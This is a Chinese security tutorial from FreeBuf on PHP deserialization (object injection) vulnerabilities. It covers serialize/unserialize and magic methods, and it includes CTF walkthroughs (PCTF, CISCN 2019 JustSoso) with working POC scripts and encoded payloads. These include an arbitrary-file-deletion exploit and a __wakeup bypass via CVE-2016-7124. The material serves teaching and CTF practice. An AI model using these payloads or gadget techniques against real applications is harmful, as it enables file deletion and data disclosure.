freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

最全的PHP反序列化漏洞的理解和应用
2019-05-05 11:06:17
所属地 湖南省

原创: f1r3K0 合天智汇 

php反序列化漏洞,又叫php对象注入漏洞,是一种常见的漏洞,在我们进行代码审计以及CTF中经常能够遇到。

01学习前最好提前掌握的知识

  • PHP类与对象(https://www.php.net/manual/zh/language.oop5.php)

  • PHP魔术方法(https://secure.php.net/manual/zh/language.oop5.magic.php)

  • serialize()

(http://php.net/manual/zh/function.serialize.php)

与unserialize()

(http://php.net/manual/zh/function.unserialize.php)

02序列化与反序列化


PHP (从 PHP 3.05 开始)为保存对象提供了一组序列化和反序列化的函数:serialize、unserialize。

serialize()

当我们在php中创建了一个对象后,可以通过serialize()把这个对象转变成一个字符串,用于保存对象的值方便之后的传递与使用。测试代码如下;

<?php

class people

{

   public $name = "f1r3K0";

 public $age = '18';

}

$class = new people();

$class_ser = serialize($class);

print_r($class_ser);

?>                                       

测试结果:

O:6:"people":2:{s:4:"name";s:6:"f1r3K0";s:3:"age";s:2:"18";}注意这里的括号外边的为大写英文字母 O
  • 下面是字母代表的类型 a - array 数组 b - boolean布尔型 d - double双精度型 i - integer o - common object一般对象 r - reference s - string C - custom object 自定义对象 O - class N - null R - pointer reference U - unicode string unicode编码的字符串

unserialize()

与 serialize() 对应的,unserialize()可以从序列化后的结果中恢复对象(object),我们翻阅PHP手册发现官方给出的是:unserialize — 从已存储的表示中创建 PHP 的值。

我们可以直接把之前序列化的对象反序列化回来来测试函数,如下:

<?php

class people

{

   public $name = "f1r3K0";

   public $age = '18';

}

$class =  new people();

$class_ser = serialize($class);

print_r($class_ser);

$class_unser = unserialize($class_ser);

print_r($class_unse r);

?>

image.png提醒一下,当使用 unserialize() 恢复对象时, 将调用 __wakeup() 成员函数。(先埋个伏笔,这个点后面会提)

03反序列化漏洞

由前面可以看出,当传给 unserialize() 的参数可控时,我们可以通过传入一个"精心”构造的序列化字符串,从而控制对象内部的变量甚至是函数。

利用构造函数等

Magic function

php中有一类特殊的方法叫“Magic function”,就是我们常说的"魔术方法" 这里我们着重关注一下几个:

  • __construct():构造函数,当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。

  • __destruct():析构函数,类似于C++。会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行,当对象被销毁时会自动调用。

  • __wakeup():如前所提,unserialize()时会检查是否存在 __wakeup(),如果存在,则会优先调用 __wakeup()方法。

  • __toString():用于处理一个类被当成字符串时应怎样回应,因此当一个对象被当作一个字符串时就会调用。

  • __sleep():用于提交未提交的数据,或类似的清理操作,因此当一个对象被序列化的时候被调用。

测试如下:

<?php

class people

{

   public $name = "f1r3K0";

   public $age = '18';

   function __wakeup()

   {

       echo "__wakeup()";

   }

   function __construct()

   {

       echo "__consrtuct()";

   }

   function __destruct()

   {

       echo "__destruct()";

   }

   function __toString()

   {

       echo "__toString";

   }

   /*function __sleep()

   {

       echo "__sleep";

   }*/

}

$class =  new people();

$class_ser = serialize($class);

print_r($class_ser);

$class_unser = unserialize($class_ser);

print_r($class_unser);

?>

结果如下:

image.png从运行结果来看,我们可以看出unserialize函数是优先调用"__wakeup()"再进行的反序列化字符串。同时,对于其他方法的调用顺序也一目了然了。(注意:这里我将sleep注释掉了,因为sleep会在序列化的时候调用,因此执行sleep方法就不会再执行序列以及之后的操作了。)

利用场景

__wakeup()和destruct()

由前可以看到,unserialize()后会导致wakeup() 或destruct()的直接调用,中间无需其他过程。因此最理想的情况就是一些漏洞/危害代码在wakeup() 或destruct()中,从而当我们控制序列化字符串时可以去直接触发它们。我们这里直接使用参考文章的例子,代码如下:

//logfile.php 删除临时日志文件

<?php

class LogFile {

   //log文件名

   public $filename = 'error.log';

   //存储日志文件

   public function LogData($text) {

       echo 'Log some data:' . $text . '<br />';

       file_put_contents($this->filename, $text, FILE_APPEND);

   }

   //Destructor删除日志文件

   public function __destruct() {

       echo '__destruct delete' . $this->filename . 'file.<br />';

       unlink(dirname(__FILE__) . '/' . $this->filename); //删除当前目录下的filename这个文件

   }

}

?>



//包含了’logfile.php’的主页面文件index.php

<?phpinclude 'logfile.php';

class User {

   //属性

   public $age = 0;

   public $name = '';

   //调用函数来输出类中属性

   public function PrintData() {

       echo 'User' . $this->name . 'is' . $this->age . 'years old.<br />';

   }

}

$usr = unserialize($_GET['user']);

?>


梳理下这2个php文件的功能,index.php是一个有php序列化漏洞的主业文件,logfile.php的功能就是在临时日志文件被记录了之后调用 __destruct方法来删除临时日志的一个php文件。 这个代码写的有点逻辑漏洞的感觉,利用这个漏洞的方式就是,通过构造能够删除source.txt的序列化字符串,然后get方式传入被反序列化函数,反序列化为对象,对象销毁后调用__destruct()来删除source.txt.

漏洞利用exp

  1. <?php

  2. include 'logfile.php';

  3. $obj = new LogFile();

  4. $obj->filename = 'source.txt'; //source.txt为你想删除的文件

  5. echo serialize($obj) . '<br />';

  6. ?>

这里我们通过['GET']传入序列化字符串,调用反序列化函数来删除想要删除的文件。


image.png

之前还看到过一个wakeup()非常有意思的例子,这里直接上链接了

chybeta浅谈PHP反序列化 https://chybeta.github.io/2017/06/17/浅谈php反序列化漏洞/

04其它magic function的利用

这里我就结合PCTF和今年国赛上的题来分析了

PCTF

题目链接:(http://web.jarvisoj.com:32768/index.php

  • 前面几步都是很常见的读文件源码

    这里直接放出给的两个源码

  1. //index.php

  2. <?php

  3.    require_once('shield.php');

  4.    $x = new Shield();

  5.    isset($_GET['class']) && $g = $_GET['class'];

  6.    if (!empty($g)) {

  7.        $x = unserialize($g);

  8.    }

  9.    echo $x->readfile();

  10. ?>

上边index.php提示了包含的shield.php所以说直接构造base64就完事了

  1. //shield.php

  2. <?php

  3.    //flag is in pctf.php

  4.    class Shield {

  5.        public $file;

  6.        function __construct($filename = '') {

  7.            $this -> file = $filename;

  8.        }

  9.        function readfile() {

  10.            if (!empty($this->file) && stripos($this->file,'..')===FALSE  

  11.            && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {

  12.                return @file_get_contents($this->file);

  13.            }

  14.        }

  15.    }

index.php 1.包含了一个shield.php 2.实例化了Shiele方法 3.通过[GET]接收了用户反序列化的内容,输出了readfile()方法

shield.php 1.首先就能发现file是可控的(利用点) 2.construct()在index中实例化的时候就已经执行了,因此不会影响我们对可控$file的利用。

构造poc

  1. <?php

  2.    class Shield

  3.    {

  4.        public $file = "pctf.php";

  5.    }

  6.    $flag = new Shield();

  7.    print_r(serialize($flag));

  8. ?>最终poc:

image.png

最终POC

http://web.jarvisoj.com:32768/index.php?class=O:6:%22Shield%22:1:{s:4:%22file%22;s:8:%22pctf.php%22;}

ciscn2019 web1- JustSoso

读源码的过程省略

  1. //index.php

  2. <html>

  3. <?php

  4. error_reporting(0);

  5. $file = $_GET["file"];

  6. $payload = $_GET["payload"];

  7. if(!isset($file)){

  8.    echo 'Missing parameter'.'<br>';

  9. }

  10. if(preg_match("/flag/",$file)){

  11.    die('hack attacked!!!');

  12. }

  13. @include($file);

  14. if(isset($payload)){  

  15.    $url = parse_url($_SERVER['REQUEST_URI']);

  16.    parse_str($url['query'],$query);

  17.    foreach($query as $value){

  18.        if (preg_match("/flag/",$value)) {

  19.            die('stop hacking!');

  20.            exit();

  21.        }

  22.    }

  23.    $payload = unserialize($payload);

  24. }else{

  25.   echo "Missing parameters";

  26. }

  27. ?>

  28. <!--Please test index.php?file=xxx.php -->

  29. <!--Please get the source of hint.php-->

  30. </html>

  1. <?php

  2. class Handle{

  3.    private $handle;  

  4.    public function __wakeup(){

  5.        foreach(get_object_vars($this) as $k => $v) {

  6.            $this->$k = null;

  7.        }

  8.        echo "Waking up\n";

  9.    }

  10.    public function __construct($handle) {

  11.        $this->handle = $handle;

  12.    }

  13.    public function __destruct(){

  14.        $this->handle->getFlag();

  15.    }

  16. }

  17. class Flag{

  18.    public $file;

  19.    public $token;

  20.    public $token_flag;

  21.    function __construct($file){

  22.        $this->file = $file;

  23.        $this->token_flag=&$this->token;

  24.    }

  25.    public function getFlag(){

  26.        $this->token_flag = md5(rand(1,10000));

  27.        if($this->token === $this->token_flag)

  28.        {

  29.            if(isset($this->file)){

  30.                echo @highlight_file($this->file,true);

  31.            }  

  32.        }

  33.    }

  34. }

其实刚开始做的时候是很懵逼了,一直在纠结爆破md5上边。22233333

1.首先我们需要绕的就是 $url=parse_url($_SERVER['REQUEST_URI']);使得 parse_str($url['query'],$query); 中query解析失败,这样就可以在payload里出现flag,这里应该n1ctf的web eating cms的绕过方式,添加 ///index.php绕过。

2.接下来就是需要我们绕过wakeup()里的将$k赋值为空的操作,这里用到的是一枚cve 当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)

3.绕md5这里用到了PHP中引用变量的知识

https://blog.csdn.net/qq_33156633/article/details/79936487

简单来说就是,当两个变量指向同一地址时,例如: $b=&$a,这里的 $b指向的是 $a的区域,这样b就随着a变化而变化,同样的原理,我们在第二步序列化时加上这一步

  1. $b = new Flag("flag.php");

  2. $b->token=&$b->token_flag;

  3. $a = new Handle($b);

这样最后的token就和token_flag保持一致了。

最后的POC

  1. <?php

  2. class Handle

  3. {      

  4.    private $handle;        

  5.    public function __wakeup()

  6.    {

  7.            foreach(get_object_vars($this) as $k => $v)

  8.        {

  9.                $this->$k = null;        

  10.            }          

  11.            echo "Waking upn";      

  12.    }

  13.    public function __construct($handle)

  14.    {          

  15.        $this->handle = $handle;      

  16.    }    

  17.    public function __destruct()

  18.    {    

  19.        $this->handle->getFlag();  

  20.    }  

  21. }    

  22. class Flag

  23. {      

  24.    public $file;      

  25.    public $token;      

  26.    public $token_flag;        

  27.    function __construct($file)

  28.    {    

  29.        $this->file = $file;    

  30.        $this->token_flag = $this->token = md5(rand(1,10000));      

  31.    }        

  32.    public function getFlag()

  33.    {      

  34.        if(isset($this->file))

  35.    {      

  36.            echo @highlight_file($this->file,true);              

  37.        }            

  38.    }  

  39. }

  40. $b = new Flag("flag.php");

  41. $b->token=&$b->token_flag;

  42. $a = new Handle($b);

  43. echo(serialize($a));

  44. ?>


image.png

这里还有一个点就是我们需要用%00来补全空缺的字符,又因为含有private 变量,需要 encode 一下。

最终payload:

?file=hint&payload=O%3A6%3A%22Handle%22%3A1%3A%7Bs%3A14%3A%22Handlehandle%22%3BO%3A4%3A%22Flag%22%3A3%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A5%3A%22token%22%3Bs%3A32%3A%22da0d1111d2dc5d489242e60ebcbaf988%22%3Bs%3A10%3A%22token_flag%22%3BR%3A4%3B%7D%7D



05利用普通成员方法

前面谈到的利用都是基于“自动调用”的magic function。但当漏洞/危险代码存在类的普通方法中,就不能指望通过“自动调用”来达到目的了。这时我们需要去寻找相同的函数名,把敏感函数和类联系在一起。一般来说在代码审计的时候我们都要盯紧这些敏感函数的,层层递进,最终去构造出一个有杀伤力的payload。

参考文章

https://www.cnblogs.com/Mrsm1th/p/6835592.html

http://p0desta.com/2018/04/01/php反序列化总结/

http://whc.dropsec.xyz/2017/06/15/PHP反序列化漏洞理解与利用/

https://p0sec.net/index.php/archives/114/

相关操作学习:

PHP反序列化漏洞实验:明白什么是反序列化漏洞,漏洞成因以及如何挖掘和预防此类漏洞。http://www.hetianlab.com/expc.do?ec=ECID172.19.104.182016010714511600001开始操作!

image.png本文为合天原创,未经允许,严禁装载。

# 合天智汇
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
渗透测试和实践
  • 0 文章数
  • 0 关注者
文章目录